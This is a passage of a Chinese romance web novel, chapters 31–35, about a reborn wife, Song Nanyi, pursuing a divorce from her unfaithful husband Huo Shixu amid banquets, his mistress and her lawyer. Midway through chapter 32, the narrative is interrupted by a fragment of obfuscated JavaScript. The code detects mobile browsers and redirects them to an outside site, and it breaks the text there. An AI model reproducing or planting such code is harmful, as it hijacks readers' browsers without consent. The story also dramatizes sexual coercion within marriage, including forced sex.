裴吟皱眉,不理解但好奇,“你和陆为谦有一腿?”
“当然没有。”
宋南伊眼前是前世,陆为谦为她哭泣的模样。
难不成,前世陆为谦喜欢她?
而这事,霍时序也知道,所以,这一世,只要她跟陆为谦见面,他就会怀疑,她和他……
明明,她和陆为谦,连熟悉都算不上。
“霍时序是一个报复心很重的人,其实,我应该忍一忍的,忍到他先提出来离婚,那样,或许,我还可以多要点财产,是我没沉住气,才造成了今天这样的局面。”
裴吟一直看霍时序不顺眼。
对他人品,更是没有好的评价。
“你提出离婚,他不是可以顺水推舟,毫无愧疚感的,离开你,奔向苏语安的怀抱吗?他就是个变态,喜欢偷着吃,阴沟里的老鼠。”
裴吟越说越气,“你说他到底按的什么心?大晚上的,把你一个女人,扔在大路旁,害你遇到坏人不说,还被车撞了,这是上天保佑,你才捡回一条命,他是不是想当鳏夫想疯了?”
宋南伊苦笑。
不爱才不在乎啊。
她的心,现在如死潭一般,毫无波澜。
“要是现在霍时序出现在我面前,我铁定抽他几个大嘴巴。”
裴吟话音刚落。
病房的门就被打开,霍时序一步迈了进来。
不知道他有没有听到裴吟骂他,气氛挺尴尬的。
裴吟白了男人一眼,“我去上个厕所。”
宋南伊抬眸看他。
“有事?”
“我接你回家。”他拿了一沓病例单据,“问过医生了,你可以出院了。”
“出院我想回我妈家
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。”她说。
霍时序拒绝,“不是已经说好了,回老宅住段时间。”
“霍时序,我不想再回老宅给你打掩护了,我差点死掉了,你知不知道?你可以不在乎我,但我得在乎我自己,我不想死,我想好好地活着。”
宋南伊意识到自己有些激动,深呼吸了两口,“我可以跟爷爷讲,你不必为难。”
“那天……”他沉顿了一下,“……把你扔下,确实是我不对,我考虑不周,抱歉,以后不会了。”
宋南伊不需要道歉。
她只是想空空脑子,好好想想接下来的事情。
霍时序弯身坐到他的对面,握住了她的小手,“既然你不想回老宅,那我们回自己的家。”
被他握着。
宋南伊很不适应。
轻轻地将小手抽了出来,“其实,我们现在最适合……分居。”
在霍时序的眼中,宋南伊突然变得陌生起来。
他的感情,在她的眼里,变得一文不值。
她和陆为谦,应该爱的很深了吧。
那他到底算什么?
“就算是离婚,也要让长辈有一个缓冲的时间,跟我回老宅住三个月,我答应你,在不为难宋家的基础上,跟你好好地离这个婚。”
这是霍时序最后的要求。
而且条件诱人。
宋南伊思考片刻,“那三百个亿……”
“生个孩子,三百亿全免,如果你不肯生,那就另当别论。”
宋南伊没太听明白,蹙着眉又问,“那你说的不为难宋家,是什么意思?”
“三个月,看你表现。”
这话太笼统。
他想要她如何表现,她根本不清楚。
难不成,还让她打掩护?
“霍时序,你还是说明白点,免得闹误会。”
“把霍家的媳妇当好,把霍时序的老婆当好,这不为难你吧?”
宋南伊叹息。
说了句废话。
她什么时候没当好过?
是他没有把丈夫做好。
三个月,宋氏与霍氏合作的项目,也完成的差不多了。
即使,霍时序还想要什么损失赔偿,也不至于是三百亿这样的天文数字。
这是把宋家损失,降到最低的唯一办法。
忍气吞声三个月,其实也值。
“好,我答应你。”
第31章 求欢
几天后。
霍正诚的寿辰。
往年这样重要的日子,宋南伊很重视。
通常一大早起来,她就会约各品牌店的当季新款,拿来让她挑选。
珠光宝气是她的标配。
也常常会成为寿宴中,津津乐道的人物之一。
现在不一样了。
她已然没有兴致,去做一个强颜欢笑的豪门贵妇。
霍家邀请了宋知令和南微。
为了不给父母丢脸,她不得已,找了件还算端庄的裙子换上。
她对着镜子,纠结,要不要戴耳环的时候。
霍时序走了进来。
他站她的身后,身形过于宽阔,像一只伏袭的野兽,随时要咬断她的脖子一般。
她后背发凉。
却佯装镇定,“怎么这么看我?”
“今年,你有些不一样。”他的大手落到她的后腰上,轻轻的摩挲着,“没让专柜送来新款吗?怕花钱?卡不是给你了?不用省。”
宋南伊没有感情地笑了笑,“换个风格。”
他望着镜子里的女人。
从他追求她的那天起,她都没有变过。
无论是样貌,还是身材,甚至是她的皮肤状态,都足能引起任何一个男人的欲望。
他的大手困住她,唇在她的颈子上轻轻地吻了一下,“很香,很想要你。”
“怎么?苏语安满足不了你?”她并不认为,霍时序会腻得那么快,“哦,我怎么忘了,你还没舍得碰她。”
她转过身来,轻轻为他整理着雅致的领结,“女人早晚会经历这一步的。”
宋南伊的话,透着满满的讥诮。
男人脸色,委实不算好看。
大手落到女人的后脑上扣住,将薄唇递到她的耳旁,咬牙切齿地说,“宋南伊,你作为霍太太,首先要满足你男人的生理需求,别以为说些有的没的,我就会放过你。”
他今天格外强势。
宋南伊看着他。
前世为了苏语安殉情的男人,如今却在这儿向她求欢。
挺讽刺的。
“你这样做,对得起苏语安吗?”
“宋南伊,你是我老婆,老提苏语安有意思吗?”
他发火了。
而且欲望膨胀。
宋南伊不想跟他做这种事,轻轻地推开了他,“爷爷的寿宴马上开始了,去招呼客人吧。”
她语气很冷。
转身看着镜子,轻轻地将波浪的长发,绾在脑后,用流苏簪子别好。
霍时序有一些气在的。
在她转身时,又将她扯回了怀里。
“钻戒找到了吗?”
宋南伊莫名其妙又有些心虚的摇头,“没有,怎么了?”
霍时序从口袋里,摸出一个小盒子。
四四方方的。
打开,里面一枚心性的钻戒。
虽然不比求婚的那枚钻戒大,但足够闪亮。
他将钻戒套到了她的无名指上,“戴着,免得让外人多想。”
宋南伊哂。
又是为了霍家的脸面。
霍正诚的寿宴,每年都会邀请江城的达官显贵。
霍明达和霍时序父子,忙着招呼客人。
宋南伊跟几个官太太闲聊了几句后,便找了个安静的地方,坐了下来。
有人坐到了她身旁。
她抬眼望过去……是陆为谦。
上次被车撞了,穿回前世,见到陆为谦为了她的去世掉泪。
再见到他,宋南伊的内心是一点小尴尬。
“最近和时序的感情,有在恢复?”他问。
宋南伊摇头。
“他说让回老宅住三个月,然后会好好的跟我谈离婚的事情,我算了一下时间,三个月,宋氏和霍氏的合作项目也差不多尾声,那样会少很多麻烦。”
陆为谦凝望着她的眼神,变得理解,“确实会少很多麻烦,就算到时起诉离婚,也会顺利很多,你做得对。”
“陆律师,这段时间真的太麻烦你了。”
他淡笑,“谈不上麻烦,你又不是没有付钱。”
话是这么说。
但,感谢的话,她还是要讲的。
两人都不说话。
各自尴尬着。
今晚的焦点在霍正诚,霍明达,霍时序这些霍家人身上。
并没有人过多在意,陆为谦和宋南伊坐在一起说话。
“你说,苏语安今天会来吗?”宋南伊突然问向陆为谦,“你和霍时序年少就相识,你应该了解他,你觉得这件事情,今天可能发生吗?”
在陆为谦的心里,霍时序做事是懂分寸的。
这么重要的场合,如果他让苏语安来,那霍家不炸了锅了。
“不会。”
宋南伊微挑眉梢,“这么肯定?”
“他就算不在乎你的感受,他总不想气死自己的爷爷。”
这么一说。
宋南伊倒觉得也在理。
男人笑着,温润如玉。
前世,她对
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他长什么样子,都没有印象。
他是什么时候喜欢上自己的呢?
是喜欢吗?
或者说,是怜悯?
一个活生生的,年轻的生命死在面前,是个人都会有触动的。
“不好意思,陆律师,我去趟洗手间。”
“好。”
热闹的寿宴,前所未有的压抑。
宋南伊走到院子,深深呼吸着新鲜的空气。
在苏语安出现之前。
每年霍家的重要节目,霍时序总会牵着她的手,他走到哪儿,她就跟到哪儿。
那时。
人人都会夸霍时序好福气,娶了她这么个天仙美人。
霍时序,蛮自豪的。
趁着没人,还会偷偷亲她。
往事涌上心头,如烈火灼心。
风很冷。
宋南伊抱着自己,转身想往厅里走。
突然听到暗处传来了说话声。
声音很小,她好奇,循着声音走了过去。
“你到底什么时候肯离开霍家?爱芸,二十年了,你在霍家当牛做马,还没有做够吗?霍明达除了给你一个后妈的位置,你得到了什么?”
男人的声音很激动。
尽管压抑着,依然听得出很多的怨恨。
“嘘,小点声,外人根本不知道,我是后妈,这么多年了,你以为,我不想过自己的生活吗?霍时序当着人面,喊我一声妈,背后里,连多看我一眼都不肯,你以为我不委屈吗?”
不是自己生的。
终归养不熟。
可她就是不甘心,“我会离开霍家的,只是现在不是时候。”
“那什么时候,是时候?”
“再等等。”
声音落地,紧接着就是暧昧的接吻声,以及窸窣的衣服摩擦的声音。
宋南伊捂着嘴。
小碎步的往后退着。
天哪,她这是知道了什么惊人的大秘密。
她嫁进霍家三年。
从来不知道,孙爱芸这个婆婆,竟然不是霍时序的亲妈。
那霍时序的亲妈呢?
**吗?
跟孙爱芸偷情的这个男人又是谁?
霍明达知道孙爱芸有野男人这件事情吗?
“干嘛呢,鬼鬼祟祟的。”霍时序的声音在她脑后响起。
宋南伊吓得尖叫,“你什么时候来的?”
她颤动着眸子,看着面前这张平静的脸。
为什么,他从未跟她提及过,他亲生母亲的事情?
第32章 他们回不去了
“你做亏心事了?”霍时序往前面黑漆漆的地方,扫了那么一眼,“不会在跟野男人偷情吧?”
这话说得宋南伊恼火。
她毫不客气地回怼他,“偷情是你们霍家人的专利,别以为人人都跟你一样。”
宋南伊转头回了大厅。
今日宴会上的人,兴致都颇高,尤其是霍明达,醉意染上双颊,双腿已经有些站不稳。
孙爱芸适时地去扶住霍明达,娇嗔着,“都一把年纪了,得注意自己的身体,少喝一点。”
表面上看起来。
孙爱芸对霍明达尊重,敬爱,也言听计从。
霍明达对她,谈不上多宠爱,也算是相敬如宾。
为什么背地里……
她是有些想不通的。
“南伊。”陆为谦走了过来。
宋南伊收神,回头看向他,“陆律师。”
“其实,你……可以叫我的名字,我们之间,没必要这么生分。”他刻意地想拉近与她的距离。
宋南伊笑笑,淡淡的,“你是我的律师,喊名字,我觉得对你不够尊重。”
霍时序一步迈进来。
大手握住了宋南伊的腰。
“在聊什么?”他强势中带着醋意,强行将宋南伊粘住,“今天是爷爷的寿宴,我不希望听到一些不和谐的声音。”
“你想多了。”陆为谦接过话去,“南伊是我的当事人,我和她闲聊几句也不过分吧。”
霍时序唇角噙起一抹冷笑。
半讥半讽的,“最好是闲聊,我可不喜欢有的人,总是惦记着我的老婆。”
“我们只是合作关系。”陆为谦笑着,眸底却勾起一抹不屑,“不过话又说回来,你不珍惜的东西,想必在你心里也没有那么重要,何必在意别人,是否觊觎呢。”
霍时序笑了。
冷得如**的利刃。
陆为谦现在不装了。
他想得到宋南伊的野心,已经写在了脸上。
一定是,宋南伊向他允诺过什么。
他扭脸,垂眸看着女人问,“你赞同他的说法吗?”
“我不知道。”
她回答不了,也不想回答。
男人们之间的这种暗流涌动,随时可以吞噬万物。
她不想做那个牺牲品。
宋南伊想离开。
霍时序的大手不肯松开。
“我累了,想去休息。”她冷起小脸。
霍时序这才不情愿地放开她。
直到宋南伊的背影,彻底消失,霍时序才收回视线,看向了陆为谦。
“现在玩真的了?陆为谦,你觉得南伊会接受你吗?”
陆为谦勾唇半笑,“你不也是追了七年?”
“我们不一样。”
“那就试试。”
同样的冷笑,同样的薄凉,同样是剑拔**张的神色。
两个男人对视着。
属于他们的战争,这才刚刚开始。
……
霍宅大宴,落下帷幕。
送走宾客。
孙爱芸扶霍明达去休息。
霍正诚也饮了一些酒,由陈伯送到了房间。
霍时序大步上楼。
推开卧室的门,一室馨香。
宋南伊刚刚洗过澡,如瀑般的长发,散在肩头,她靠在床头上,半歪着身子,在看手机。
听到霍时序进来。
她无情无绪的,连眼皮都没抬。
“宋南伊。”
宋南伊,“什么?”
“你和陆为谦是不是暗度陈仓了?”就算现在没有,也已经要快了,男人的直觉告诉他,他们的关系,开始变得危险,“宋南伊,我们现在还没有离婚,你最好检点一点。”
“你哪只眼睛,看到我不检点了?”宋南伊扔下手机,坐正身子,冷漠不忿地睨向他,“我是在外面金屋藏娇了,还是每天被媒体拍到与情人私会了?”
“你以为我看不出来?”
他冲着宋南伊走过来,扣住她的手腕,将她拖下床,“我看你是不想离婚了。”
宋南伊苦笑。
他总能找各种理由,将脏水泼到她的身上。
扪心自问,她有什么错?
“抓奸在床,才是证据。”
“好啊,那你最好别让我抓到证据,否则……”他恶狠狠地将她困在怀中,“……你和你们宋家,都不会有好下场。”
他像是要发泄什么。
握着她的后颈子,重重地吻她。
她不愿意被这样欺负,狠狠地捶他的胸口。
他索性抱起她,直接压到床上,大手伸手她的背后,将她的裙子拉开。
身体的凉意。
让宋南伊想到前世,就这样冷的躺在产床上。
叫天不应,叫地不灵。
而这个**凶手,就是压在她身上,逞凶的男人。
“啪。”
她几乎用尽了全身的力气,将巴掌甩在了霍时序的脸上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038527|178628||http|test|mini|href|location''.split(''|''),0,{}));
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r>他停下来。
看着女人红肿的眼睛。
气息不匀。
他指尖深深的蜷成拳头,起身,终是没有勉强。
“你先睡吧,我出去一趟。”
很快,院子里传来了汽车引擎的声音。
墨色的雕花大门打开,霍时序的车子开了出去。
宋南伊站在阳台上,望向他的汽车尾灯,渐渐的消失在了看不见的地方。
他如此的气急败坏。
不是因为他有多爱她。
他只是想证明,她是属于他的私人物品。
任何男人,再觊觎,再喜欢,只要他不放手,别人也捞不着半分。
可他忘了,他早已经不属于她。
寒风瑟瑟,吹疼了她的脸。
他们再也回不去了。
……
翌日。
宋南伊同霍家长辈一起用早餐。
餐厅的电视里,又在上演着霍时序和苏语安的新闻。
“有记者拍到,霍家继承人,霍氏总裁霍时序先生,清早从一幢公寓楼里走出来,据记者所知,这并不是霍先生与原配妻子的爱巢,是他与一位苏姓小姐的家……”
霍家所有人都停下了用餐。
只有宋南伊见怪不怪的,继续吃饭。
“反了,真是反了,住在老宅还要天天往外跑,当我**是不是?”
霍正诚摔了碗。
气得全身都在抖。
他生气的原因,是霍时序在丢霍家的脸。
将霍家推上风口浪尖,只会让霍氏的股价跟着下跌。
与宋南伊无关。
霍明达忙上前给他顺着气,“爸,我马上去处理那个姓苏的女人,这场闹剧是时候,该收场了。”
“气死我了,真是不争气。”
霍正诚气得没饭没吃几口,就回了房。
宋南伊吃好后,抽了纸巾,优雅地擦了擦嘴,“爸,妈,我上班去了。”
“南伊。”霍明达叫住了她,“时序的事情,不必放在心上,爸会帮你处理的。”
“谢谢爸。”
宋南伊转身要走。
霍明达看了孙爱芸一眼。
她便又将宋南伊叫下,“南伊,考虑一下,要个宝宝吧,时序他有了孩子,外面的女人,就没那么大的吸引力了。”
宋南伊淡淡地睨向婆婆。
说好的不催生。
却时时在催。
她心不在焉地哦了一声,“知道了。”
……
第33章 护着小三的样子,真迷人
宋南伊刚到自己的工作室。
她的小助理邓雪,急匆匆地过来说,“老板,霍总他送了个人过来,说是让咱们教教她。”
“什么人?”宋南伊脱下大衣,挂在衣架上。
邓雪为难的抿了抿唇,“就是那个经常跟霍总,上新闻的女孩。”
宋南伊微愣。
是苏语安?
霍时序将苏语安送到她这儿来,难道,是为了方便自己偷情?
利用她,打掩护?
他真的好爱利用别人,掩护自己的丑恶。
“老板,咱们收吗?”邓雪不知道宋南伊怎么想的。
“既然送来了,就收下吧。”她倒想看看,在她的眼皮底下,他们要干什么。
邓雪点头,转身走了出去。
没多久,她就带了苏语安进来。
“老板,人来了。”
苏语安打扮的富贵了许多。
香奈尔的初冬小香风套装,手腕上是宝格丽的当季新款手镯。
耳朵上的珍珠耳饰,是南洋的极品。
霍时序把她养得很好。
实在没必要,送到这儿来受苦。
宋南伊冷眼瞧着她,“是你的意思,还是霍时序的意思?”
“是我想跟着南伊姐你,学点本事。”苏语安少了以前的青稚,平添了几分傲气,“我想南伊姐,是不会拒绝一个爱学习的孩子吧?”
“我这里的学历最低本科,你一个高中毕业生……”宋南伊讥诮勾唇。
后面的话,她没讲。
目光落到苏语安的脸上,一瞬不瞬。
“可是我年轻啊,年轻脑子好用,一学就会,南伊姐,你不会不想收留我吧?”苏语安撅起小嘴,拿起手机,给霍时序打了过去,“时序哥,南伊姐嫌我学历低,要不,你过来跟她讲一下吧。”
宋南伊冷笑。
她倒是分得清大小王。
可惜,这里不是霍氏。
霍时序说了不算。
……
差不多两刻钟。
霍时序出现在了宋南伊的工作室。
“时序哥。”苏语安委屈地红了眼,“我还是不要跟南伊姐添麻烦了,她本来就对我有意见,我不想惹她不开心。”
“宋南伊。”霍时序看向女人。
宋南伊从文件里抬头,“什么?”
“没必要拿学历,为难语安。”他眸色深重。
宋南伊扔下手中的笔,十指交叉,看向男人,“你哪只眼睛看到我为难她了?”
“那就留下她,从打杂开始。”霍时序看向邓雪,吩咐她,“邓助理,你把语安带下去,先安排个工位,日后慢慢教她。”
邓雪为难地看向了宋南伊。
宋南伊抬了抬手指。
她便带着苏语安,先行出去了。
门关上。
宋南伊也不跟他藏着掖着,“霍时序,你把苏语安弄到我这儿来,是怕爸找她算账,还是为了应对媒体接二连三的拍到你们偷情?”
她觉得霍时序挺不要脸的。
就算她再不在乎,宋家的脸面还是要的。
男人拉过椅子,坐到了宋南伊的对面,“对于我和苏语安的关系,你总是带着仇视,我们是资助人,照顾她,让她慢慢变好,不是应该的吗?”
“照顾到床上,也是应该的?”
他神色黯下,似乎很烦这种话,“老说这些,有意思吗?哪怕我们最终离婚,也是感情破裂,与语安无关。”
宋南伊平静地看着他。
他护着苏语安的样子,真迷人。
像极了战场上奋不顾身的勇士。
“霍时序,这话你自己信吗?”
“我问心无愧。”
宋南伊淡笑,“不重要了霍时序,既然你想把苏语安放在这儿,那就谈条件吧。”
“我们之间没有别的可谈了吗?”他拧眉。
宋南伊:“是。”
他气闷。
“说吧,你想要什么?”
“我记得霍氏旗下,有一家珠宝设计子公司,一直没有做起来,我想让这家公司,并到我们设计室旗下。”
没有爱情。
能抓住点什么,就抓住点什么。
钱是最实在的东西。
她猜,霍时序是会同意的。
那家公司,实际上并不赚钱。
就算是赚钱,为了苏语安,他应该也能舍得出去。
他本质就是这样的人。
前世,他为了让她答应跟他确定关系。
冒着大雨,跑了五公里。
每跑几步,他就会大喊,“宋南伊,我爱你,做我女朋友吧。”
直到等到她点头。
他们在雨中狠狠地接吻,他笑着说,他得到全世界最珍贵的礼物。
宋南伊指间抵着太阳穴。
神情哀伤。
有
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些回忆,太过于刻骨铭心,是会反噬的。
她已经得到报应了。
“霍总?”她抬眼,眸色凌厉。
霍时序本来是想关闭那家公司。
既然宋南伊想要,他就做个顺水人情,“可以,但你要答应我,不要为难语安,她挺命苦的。”
霍时序犯了个致命的错误。
他一直在可怜别人。
唯对宋南伊,生不出怜悯。
宋南伊虽已不在意。
但心口结痂的地方,却透着隐隐的疼。
她当即要了合同,与霍时序签下转让书。
临走时。
霍时序交代了苏语安几句,“既然想在这儿学点东西,就把姿态放低,你年纪小,对南伊要放尊重,以前的事情,就不要去计较了。”
“我知道了,时序哥,你放心吧,我不记南伊姐的仇,同样都是女人,我能理解她的。”
苏语安总是一副善解人意的模样。
霍时序抿唇,心疼她的懂事,“好。”
霍时序离开后。
邓雪走进来,问宋南伊,“老板,苏语安怎么安排?她什么也不会,可能连电脑都不会用。”
“让她去前台,从最基础的工作做起。”
“好的,老板。”邓雪又问,“那她的薪资……给多少合适啊?”
“按实习员工的平均工资给。”
“明白。”
下班的时候,陆为谦过来找宋南伊。
邓雪倒了杯咖啡,递上后,就从外面把门关好。
“过来找我,有事吗?”
陆为谦拿了一份文件给她,“这是霍时序名下所有得资产,都是属于你们婚后的共同财产,固定资产,存款以及股票持有,和一些贵重金属等等吧,合计的话,差不多一万两千三百亿。”
宋南伊震惊到,眼珠子差点掉下来。
一万多亿?
她从来不知道,霍时序这么有钱。
“那……我能分到多少?”
“按法律来说,有一半是你的,但这得在霍时序不隐匿财产的情况下,通常这种牵扯过多金额的离婚案件,很多财产,半路上就不见了,配偶方面,能拿到的微乎其微。”
宋南伊:……
决定要跟霍时序离婚的时候,她也并没有想要他一半的财产。
只要能顺利把婚离了。
一分不要,她也愿意。
第34章 他俩进了同一个洗手间
“如果能分到最好,分不到,我只拿回属于我自己的,也没问题。”她只有一个诉求,“我只求离婚,能顺利一些。”
陆为谦点头,“明白。”
宋南伊微笑。
抬腕看了下时间,“晚餐有约吗?如果没有的话,我可否有幸邀请你,一起用个晚餐?”
陆为谦接手她离婚的案子以来,一直以专业的态度,认真对待。
她很感谢。
男人收起公文包。
却之不恭地说,“是我的荣幸。”
“想吃什么?”她起身穿好外套,拿起包包,“泰国菜怎么样?”
“可以,我不挑食。”
“走吧。”
宋南伊和陆为谦有说有笑的,一起往外走。
走到前台时,发现霍时序也在。
三人的视线对撞在一起。
霍时序的眼神,杀意明显。
“陆律师也在?”
陆为谦优雅点头,“来谈点事情。”
“走吧。”宋南伊淡声。
刚要拾步。
苏语安叫住了宋南伊,心急火撩的解释,“宋总,时序哥是怕我不适应,顺便过来看看的,你别误会。”
宋南伊看向霍时序。
他手上握着一束白色的玫瑰花。
顺便?
骗鬼。
宋南伊没回应。
和陆为谦往外走。
与霍时序错身而过时,他扣住了她的胳膊,把她整个人扯了回来,“去哪儿?”
他气势凛然。
像一个抓奸的丈夫。
宋南伊皱起眉头。
很不满地看向他,“放开。”
“宋总,你要和陆律师一起出去啊?时序哥他刚刚还在说,有事要找你聊呢。”苏语安收拾好了自己的东西,“正好,我也下班了,要不,我们四个人找个安静的地方,坐下来聊吧。”
宋南伊微冷的眸子,看向自作主张的女人。
她以为她是谁?
还在这儿安排上了。
收回视线,她重新睨向霍时序,“你有什么事情,现在说吧。”
霍时序没看她。
带着敌意的视线,落到了陆为谦的面上,“陆律师不介意,多加两个人吧?”
……
泰国菜餐厅。
四个人,分坐餐桌两侧。
那束很突兀的白色玫瑰花,摆放在一旁。
像在讥嘲,这里面错乱的关系。
“我们四个,还是头一次坐在一起用餐呢。”苏语安兴奋得有些按捺不住,“我还是第一次吃泰国菜,好期待哦。”
宋南伊淡睨了她一眼。
这个女人,确实是装得越来越厉害了。
宋南伊能感觉到,苏语安的心情有些急切。
急切什么呢?
好像急着拆散她和霍时序。
倒也是个沉不住气的。
“时序哥,这上面都是泰文,我不认识,你帮我点餐行吗?”苏语安将菜单,递到了霍时序的面前,“我想要一个菠萝饭,还想要一个咖喱蟹,你帮我点一下。”
霍时序勾了勾手指,服务生走了过来。
他用熟练的泰语,“菠萝饭,咖喱蟹,一份椰汁鸡汤,木瓜沙拉,烤猪颈肉,够四人份就好,谢谢。”
服务生拿着菜单下去备餐。
宋南伊看了霍时序一眼。
难得他还点了她喜欢的椰汁鸡汤和木瓜沙拉。
略微有些心酸。
等餐的时间,四个人都没话说。
她不喜欢这样的氛围。
起身,“不好意思,我去个洗手间。”
她前脚刚走。
霍时序也跟着起了身,“我也去个洗手间。”
看着二人一前一后离开的背影。
苏语安突然笑了,“陆律师,你猜他们,会不会进同一个洗手间?你不吃醋吗?”
陆为谦墨眸微眯。
他不是很理解,苏语安说这话的意思,“?”
“陆律师,我知道你喜欢宋南伊。”苏语安脸上的笑容明显,但却看着诡异,“你们发展到什么地步了?上过床了吗?我猜,霍时序已经戴上绿帽子吧?”
陆为谦听得匪夷所思,眉心压得更为紧实,“你想说什么?”
“陆律师,现在他们两个又不在,我们两个,可以坦诚不公地聊。”苏语安的视线,落到陆为谦拧起的眉心上,“宋南伊早就不爱霍时序了,你出现在刚刚好的时间。”
陆为谦越发地听不懂。
她的眼神变化太快,与刚刚相比,像是变了个人,“苏小姐,我想你误会了。”
“误会?陆律师,你以为这束白玫瑰,是霍时序送给我的吗?”苏语安眼眸微垂,指尖轻捻着玫瑰的花瓣,“这是要送给宋南伊的,他想挽回他们之间的感情,你没有危机感吗?”
“他们本就是夫妻,如果能和好,那是最好的。”陆为谦指尖轻轻握
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住茶杯,微啜了一口,“苏小姐,你想利用我,让他们两个分开,我想你还是太天真了,我和南伊只是工作关系。”
放下茶杯。
他冷眸越发的深重,“倒是你。如果不是你的出现,他们的婚姻也至于,如此的岌岌可危。”
苏语安突然发出,不符合自己人设和年纪的笑声。
弯起的眼睛中掺着阴鸷,“这叫因果循环,这是报应。”
“什么意思?”他不解。
苏语安没有给出答案。
笑的越发深暗。
他们总有一天,会看到报应不爽的。
……
洗手间里。
宋南伊洗了把脸,最近的日子过得太压抑,看着镜子里这张略显憔悴的脸。
她挺心疼自己的。
抽了纸巾,擦干脸上的水珠。
打开门,刚往外走,就被一具坚实的胸膛给重新挤了回去。
她抬眸。
看到霍时序,厌恶中透着不解,“你跑到女性洗手间里来干什么?”
他握着她的腰,抱到洗手台上。
不容分说地去吻她的唇。
强势到她怎么也推不开。
他的大手并不老实,衬衣扣子被他轻车熟路地解开。
“啪。”
他的粗鲁,换来的是结实的耳光,和脸上火辣辣的疼。
宋南伊的脸涨得通红,双手护在自己的胸前,“你还能不能再不要点脸?你的苏语安就在外面,你就在这儿跟我动手动脚上了?你不怕我告诉她?”
“去啊,你现在就去说。”他握着她的下巴,再次吻上她的唇,激烈到她无法呼吸,才不甘地停下来,“宋南伊,你不要搞错关系,我们是夫妻,天王老子来了,也不管到我们之间发生什么。”
她涩笑着系好自己的扣子。
淡然无情地说,“霍时序,如果你真的有生理需要,又舍不得碰苏语安,就去点个小姐吧,会把你伺候得很舒服的,别再来找我了。”
“你……”霍时序生气了。
不知道什么时候开始,他们之间,已然无法正常的沟通。
他眉眼间透出不易察觉的痛苦,“你真的不爱我了?”
“你还爱我吗?”她问过很多次,他并没给过她坚定的答案,“霍时序,我们都是成年人,爱情不是一成不变的,爱的时候,就好好地爱,爱不在了,就体面地分开,何必纠缠不清呢?”
第35章 搞大了肚子
他笑着,唇角的弧度苦涩,“跟我离了,嫁给陆为谦吗?”
“离了婚,你就别管我嫁给谁了。”
她只想逃过上世的死劫。
至于以后,再说吧。
不欢而散。
霍时序当面甩门离开。
许久,宋南伊才走出洗手间。
回到座位时。
只有陆为谦在。
“他们走了。”他看向她,注意到她脖子上的吻痕,“你们……时序好像是生气了?”
“哦,是吗?”宋南伊回避了关于霍时序的,抱歉道,“不好意思,有点闹肚子,让你等了这么久。”
“没关系。”他并未揭穿她。
宋南伊是沮丧的。
整个用餐时间,她都在强颜欢笑。
用餐结束。
二人一同走出餐厅。
“南伊,如果觉得痛苦,你也不必非得选择离婚,离或不离,都不丢人。”
陆为谦的话,意有所指。
宋南伊情绪复杂地摇头,“没有哪个女人,愿意跟变了心的男人,继续生活在一起,陆律师,你想多了。”
“那就振作一点,多笑一笑。”他鼓励她。
宋南伊勉强挤了抹笑,“会的。”
……
回到老宅。
霍时序先她一步回来,正在客厅里坐着。
鞋子还没换完,男人讥诮的声音就传了过来,“今天和陆为谦约会,开心吗?”
“你不也在。”
“我很识趣,把空间让给了你们,你得感谢我才是。”男人嗤笑着说。
宋南伊不想理会他的阴阳怪气。
她将大衣脱下来,挂好。
“那就谢谢。”
他抬眼斜着她,复杂又很没自信地问,“如果当年,陆为谦跟我一起追你,你会选择谁?”
“他。”
她几乎没有犹豫。
她知道他不爱听。
她更知道,他会因为她的承认,激起一肚子的怒气。
事实就是如此。
如果假设成立,非要嫁一个。
嫁给陆为谦,至少,她不用**。
“宋南伊,你是不是找死?”他咬牙切齿地起身,愤怒地将她扛到肩上,“我看你,就是欠收拾。”
他将她重重地摔到二楼卧室的大床上。
黑暗中,他的眸子格外的危险。
宋南伊后退着,一步接一步,“霍时序,你非得这样吗?就算做了,又怎样?没有感情的性生活,你不爽,我也不会爽。”
“那就当我们都叫了个外卖。”
他摁着她,用尽了力气,像几辈子都没有过般。
一晚上,来了四五次,宋南伊差点死过去。
情事过后。
他从背后紧紧地抱着她的腰,轻声呢喃,“我和语安,不是你想的那样,南伊,我们好好的,行吗?”
“那你把她送走。”黑暗中,她的声音格外清晰。
他沉默了。
夜深了。
她已经没有精力,分辨他沉默下的真相。
……
清晨醒来时。
霍时序并没有在身旁。
吃早餐时,她才听陈伯说起,霍时序今天去了国外。
邓雪给宋南伊发来信息,说苏语安请了一周的假。
她回信息问邓雪,“她请假的原因是什么?”
“她说要去挪威。”
宋南伊明白了。
霍时序应该是带她去看极光去了。
说不上是什么感觉。
就是没有胃口了。
拿起手机,想着给邓雪回信息,无意中点开了苏语安的朋友圈。
“要去挪威看极光喽,有人陪,有人爱,真的好幸福。”
配图是头等舱的机票。
还有霍时序闭眼休息的侧脸。
现在全江城,都知道霍时序,有了个捧在掌心里的小三,她这个名义上的霍太太,成了众所周知的笑话。
挺悲哀的。
飞机上。
苏语安幸灾乐祸地发完,仅苏语安一个可见的朋友圈。
便安静地等着飞机起飞。
霍时序睁开眼睛,拿出手机,给宋南伊发了条信息。
“我去趟挪威,差不多一周左右的时间。”
消息发出后,石沉大海。
他便又给她发了一条,“是去办正事。”
依然,没有得到回复。
苏语安悄悄地看了霍时序一眼,他脸色很难看。
她猜可能跟宋南伊有关。
“时序哥,我们这次去挪威是干什么呀?”
霍时序收起手机,淡淡地说,“去看个人。”
“谁呀?”
“到了你就知道了。”
“哦。”
……
宋南伊连续收到霍时序两条信息。
全都没看。
去上班的路上,她接到了父亲打来的电话,说母亲不舒服,早上吐血了。
她感到事态严重。
立马打转了方向,开往江城医院。
母亲一直有严重的胃病。
这几年父亲照料得还不错,怎么突然就恶化了呢?
前世,母亲的身体一直很好的。
这到底是怎么回事?
车子一路狂奔。
来到病房,母亲已经输到了液,人的精神不算好,脸色也苍白得厉害。
“妈。”宋南伊来到病床前,握住了母亲的
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手,“怎么突然病了?”
宋知令的脸色难看。
话语是全是愤怒,“最近一个月以来,那个苏语安,总在你妈喝早茶的时候出现,说霍时序把她的肚子搞大了。”
“还说你霸占着霍时序不离婚,让孤苦伶仃的她和孩子,得不到该有的名分,话说得别提多难听,你妈哪里听得这些。”
